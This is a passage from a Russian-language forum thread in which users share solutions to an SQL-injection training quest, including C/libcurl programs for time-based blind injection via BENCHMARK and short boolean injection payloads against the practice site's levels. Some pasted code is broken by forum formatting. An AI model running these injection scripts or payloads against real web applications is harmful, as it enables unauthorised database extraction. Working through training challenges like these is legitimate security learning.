        curl_easy_setopt(curl, CURLOPT_URL, URL);
        curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
        curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
        curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
        curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
        curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
        if(postData)
          curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);

        performReturn = curl_easy_perform(curl);

        if(performReturn != CURLE_OK)
        {
          printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
          return 0;
        }
      }
      else
        return 0;

      curl_global_cleanup();

      return 1;
    }

    void main()
    {
      char url[320], *ret, state;
      int i;
      double time[50];

      int colcount=0;

      while(1)
      {
        sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%%29+from+information_schema.columns+where+table_name%%3D%%27davidblayne%%27%%29%%3D%d%%2CBENCHMARK%%285000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%%29%%3B",colcount);
        ret=NULL;

        unsigned int start_time =  clock();
        curlPOST(url,NULL,&ret);
        unsigned int end_time = clock();
        free(ret);
        if( ((double)end_time - (double)start_time)>2500.0)
        {
          printf("we have %d columns\n",colcount);
          break;
        }
        else
          printf("we have mote than %d columns\n",colcount);
        ++colcount;
      }

      system("pause");
    }

    Код:

    select if((select count(*) from information_schema.columns where table_name='davidblayne')=2,BENCHMARK(5000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
    Основано на запросе выше

    Тут 5 столбцов. Теперь их имена.

    Долго думал как сделать, оказалось что если взять ASCII от несуществующего символа - вернется 0. Длинна не нужна.

    У меня ушло много времени чтобы придумать как имена столцов, ведь для этого надо получить имя одного определенного столбца, потом я наткнулся на ordinal_position и мои проблемы решились.

    .SpoilerTarget" type="button">Spoiler

    [CODE]
    #include
    #include
    #include
    #include

    static int writer(char *data, size_t size, size_t nmemb, char **buffer)
    {
    int result = size * nmemb;
    if(*buffer)
    {
    *buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
    strcat(*buffer,data);
    }
    else
    {
    *buffer=(char*)calloc(result+1,sizeof(char));
    strcpy(*buffer,data);
    }
    return result;
    }

    int curlPOST(char* URL,char* postData,char **buffer)
    {
    CURL *curl;
    CURLcode performReturn;
    curl_global_init(CURL_GLOBAL_DEFAULT);
    curl = curl_easy_init();

    if(curl)
    {

    curl_easy_setopt(curl, CURLOPT_URL, URL);
    curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
    curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
    curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
    curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
    curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
    if(postData)
    curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);

    performReturn = curl_easy_perform(curl);

    if(performReturn != CURLE_OK)
    {
    printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
    return 0;
    }
    }
    else
    return 0;

    curl_global_cleanup();

    return 1;
    }

    char findChar(int charNum,int columnNum)
    {
    char url[420], *ret;

    int cmax=255;

    while(1)
    {
    if(cmax==0)return 0;
    sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+information_schema.columns+where+table_nam e%%3D%%27davidblayne%%27+and+ordinal_position%%3D% d+and+ascii%%28substring%%28column_name%%2C%d%%2C1 %%29%%29>%d%%29%%3D1%%2CBENCHMARK%%285000000%%2CEN CODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas +Waldolf+Steel%%27%%29%%29%%2Cnull%%29%%3B",column Num,charNum,cmax);//>
    ret=NULL;
    unsigned int start_time = clock();
    curlPOST(url,NULL,&ret);
    unsigned int end_time = clock();
    free(ret);

    if( ((double)end_time - (double)start_time)2500.0) return cmax; else ++cmax;

    }

    return -1;
    }

    void main()
    {

    int i,i1;
    char curChar;

    for(i=0;i

    Код:

    select if((select count(*) from information_schema.columns where table_name='davidblayne' and ordinal_position=1 and ascii(substring(column_name,1,1))=105)=1,BENCHMARK(5000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
    Основано на запросе выше.

    Имена столбцов следующие (из за проблем с соединением или ошибками в коде пришлось запускать несколько раз, иногда путало символы).
    • first
    • second
    • morkovka
    • wtf
    • genius
    Имена в итогу вышли читаемыее и осмысленные, я на верном пути. Осталось узнать что хранится в каждом из них. Звучит не слишком сложно.

    .SpoilerTarget" type="button">Spoiler

    [CODE]
    #include
    #include
    #include
    #include

    static int writer(char *data, size_t size, size_t nmemb, char **buffer)
    {
    int result = size * nmemb;
    if(*buffer)
    {
    *buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
    strcat(*buffer,data);
    }
    else
    {
    *buffer=(char*)calloc(result+1,sizeof(char));
    strcpy(*buffer,data);
    }
    return result;
    }

    int curlPOST(char* URL,char* postData,char **buffer)
    {
    CURL *curl;
    CURLcode performReturn;
    curl_global_init(CURL_GLOBAL_DEFAULT);
    curl = curl_easy_init();

    if(curl)
    {

    curl_easy_setopt(curl, CURLOPT_URL, URL);
    curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
    curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
    curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
    curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
    curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
    if(postData)
    curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);

    performReturn = curl_easy_perform(curl);

    if(performReturn != CURLE_OK)
    {
    printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
    return 0;
    }
    }
    else
    return 0;

    curl_global_cleanup();

    return 1;
    }

    char findChar(int charNum,char *tableName)
    {
    char url[420], *ret;

    int cmax=255;

    while(1)
    {
    if(cmax==0)return 0;
    sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+level10.davidblayne+where+ascii%%28substri ng%%28%s%%2C%d%%2C1%%29%%29>%d%%29%%3D1%%2CBENCHMA RK%%285000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2 C%%27Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cn ull%%29%%3B",tableName,charNum,cmax);//>
    ret=NULL;
    unsigned int start_time = clock();
    curlPOST(url,NULL,&ret);
    unsigned int end_time = clock();
    free(ret);

    if( ((double)end_time - (double)start_time)2500.0) return cmax; else ++cmax;

    }

    return -1;
    }

    void main()
    {

    int i,i1;
    char curChar;
    char *tableList[]={"first","second","morkovka","wtf","genius"};

    for(i=0;i

    Код:

    select if((select count(*) from level10.davidblayne where ascii(substring(first,1,1))=105)=1,BENCHMARK(5000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
    Основано на запросе выше.

    Содержимое базы следующее:
    • 55
    • 44
    • wantamorkovka
    • wtf?
    • yes
    Что из них ответ - догадайтесь сами. Квест пройден.

Если сам, молодец, но вот как пример, как можно пройти 8 и 9 задачу....решение по 8-мой схоже, только без определения кол-во символов первоначально, а 9-ое, на мой взгляд элегантнее, в два запроса. но за код плюс тебе

http://habrahabr.ru/post/253885/#first_unread

Dude 29.06.2015 19:53

Цитата:

Сообщение от BabaDook

Сам прошёл, да ?

Сам.

Цитата:

Сообщение от frank

Если сам, молодец, но вот как пример, как можно пройти 8 и 9 задачу....решение по 8-мой схоже, только без определения кол-во символов первоначально, а 9-ое, на мой взгляд элегантнее, в два запроса. но за код плюс тебе
http://habrahabr.ru/post/253885/#first_unread

Не видел и даже не пытался искать. Код можно (и нужно) доработать, возможно потом займусь этим.

BabaDook 30.06.2015 02:04

Цитата:

Сообщение от Dude

Сам.
Не видел и даже не пытался искать. Код можно (и нужно) доработать, возможно потом займусь этим.

Молодец, хорошо крутишь sql

psihoz26 30.06.2015 15:06

Более короткое (и я считаю что более интересное) решение второго задания:

Код:

https://alexbers.com/sql/qnbutn2.php?text='or'1
результатом станет вывод всей таблицы.

аналогично третий

Код:

https://alexbers.com/sql/sdjjy3.php?text='or(1)%23
девятый быстро проходится сложив в запросе всё и подобрав сразу сумму

Код:

https://alexbers.com/sql/almost9.php?text=20+and+(select+sum(login)+from+users+where+id>=20+and+id=2225
Подбирал ручками и вышло 14 запросов:

100 +

1000 +

2000 +

3000 -

2500 -

2250 -

2125 +

2187 +

2218 +

2233 -

2226 -

2223 +

2224 +

2225 =

При посимвольном переборе вышло бы 11 запросов + ~4 чтобы узнать длину строки суммы.

update//

глянул на хабре прохождение 9 и ушел читать документацию

Farik 01.07.2015 00:20

На 5 остановился и пойду как я спать

frank 01.07.2015 08:09

Цитата:

Сообщение от psihoz26

Более короткое (и я считаю что более интересное) решение второго задания:
Код:

https://alexbers.com/sql/qnbutn2.php?text='or'1
результатом станет вывод всей таблицы.
аналогично третий
Код:

https://alexbers.com/sql/sdjjy3.php?text='or(1)%23
девятый быстро проходится сложив в запросе всё и подобрав сразу сумму
Код:

https://alexbers.com/sql/almost9.php?text=20+and+(select+sum(login)+from+users+where+id>=20+and+id=2225
Подбирал ручками и вышло 14 запросов:
100 +
1000 +
2000 +
3000 -
2500 -
2250 -
2125 +
2187 +
2218 +
2233 -
2226 -
2223 +
2224 +
2225 =
При посимвольном переборе вышло бы 11 запросов + ~4 чтобы узнать длину строки суммы.
update//
глянул на хабре прохождение 9 и ушел читать документацию

Сам так же сделал когда увидел в два захода то


Время: 03:48